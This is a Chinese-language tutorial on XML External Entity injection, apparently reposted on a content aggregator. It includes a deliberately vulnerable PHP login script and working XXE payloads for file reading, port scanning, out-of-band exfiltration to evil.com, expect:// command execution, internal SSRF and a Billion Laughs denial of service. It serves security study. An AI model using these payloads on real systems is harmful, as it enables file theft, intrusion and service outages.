4.XXE (XML External Entity Injection)
XXE (XML External Entity Injection) 0x01 什么是XXEXML外部实体注入 0x02 XXE利用简单文件读取基于file协议的XXE攻击XMLInject.php <?php #?Enable?the?ability?to?load?external?entities libxml_disable_entity_loader?(false); $xmlfile?=?file_get_contents(‘php://input‘); $dom?=?new?DOMDocument(); #?http://hublog.hubmed.org/archives/001854.html #?LIBXML_NOENT:?将?XML?中的实体引用?替换?成对应的值 #?LIBXML_DTDLOAD:?加载?DOCTYPE?中的?DTD?文件 $dom->loadXML($xmlfile,?LIBXML_NOENT?|?LIBXML_DTDLOAD);?//?this?stuff?is?required?to?make?sure $creds?=?simplexml_import_dom($dom); $user?=?$creds->user; $pass?=?$creds->pass; echo?"You?have?logged?in?as?user?$user";`?>
file_get_content(‘php://input‘)接收post数据,xml数据 <?xml?version="1.0"?encoding="ISO-8859-1"?> <!DOCTYPE?foo?[ <!ELEMENT?foo?ANY?> <!ENTITY?xxe?SYSTEM?"file:///etc/passwd"?>]> <creds> <user>&xxe;</user> <pass>mypass</pass>`</creds>
导致可以读出etc/passwd文件 file://host/path * Linux file:///etc/passwd * Unix file://localhost/etc/fstab file:///localhost/etc/fstab * Windows file:///c:/windows/win.ini file://localhost/c:/windows/win.ini * (下面这两种在某些浏览器里是支持的) file:///c|windows/win.ini file://localhost/c|windows/win.ini
XML文档是用PHP进行解析的,那么还可以使用 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini"> ]> <root><foo>&content;</foo></root>
基于netdoc的XXE攻击==XML文档是用Java解析的话,可利用netdoc <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#PCDATA)> <!ENTITY file SYSTEM "netdoc:/sys/power/image_size"> ]> <data>&file;</data>
?端口扫描加载外部DTD时有两种加载方式,一种为私有 私有类型DTD加载: <!ENTITY private_dtd SYSTEM "DTD_location"> 公共类型DTD加载: <!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location"> 在公共类型DTD加载的时候,首先会使用 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY portscan SYSTEM "http://localhost:3389"> ]> <root><foo>&portscan;</foo></root> 因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。 利用DTD进行数据回显有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[? ? <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">????? <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">? ? %dtd;? ? ? %send;]> <root></root>
evil.dtd <!ENTITY % payload "<!ENTITY % send SYSTEM ‘http://evil.com/?content=%file;‘>"> %payload;
在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容 ?远程命令执行需要 PHP开启了PECL上的Expect扩展 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY content SYSTEM "expect://dir ."> ]> <root><foo>&content;</foo></root>
?
攻击内网网站<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY exp SYSTEM "http://192.168.1.103/payload"> ]> <root><foo>&exp;</foo></root>
利用外部实体构造payload向内网其他机器发出请求
?
DDoS最典型的案例Billion Laughs 攻击 <!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data>
DTD: 0x03 XXE漏洞挖掘提交POST请求XML文件提交一个POST请求,请求头加上Content-type:application/xml <?xml version="1.0"encoding="utf-8"?> <test>cat</test>
通过OOB(Out-of-band)方法远程访问文件测试
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/"> ]> <GeneralSearch>&dtgmlf6ent;</GeneralSearch>
3.查看网站返回内容 0x04 XXE自动化工具
0x05 参考链接https://b1ngz.github.io/XXE-learning-note/ ? ? ? ? ? ?? http://colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/ https://security.tencent.com/index.php/blog/msg/69? ? ? ? ? http://rickgray.me/2015/06/08/xml-entity-attack-review.html? ? ? ? ? ? ? http://www.cnblogs.com/mengdd/archive/2013/05/30/3107361.html http://www.freebuf.com/articles/web/97833.html https://zhuanlan.zhihu.com/p/24275040 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |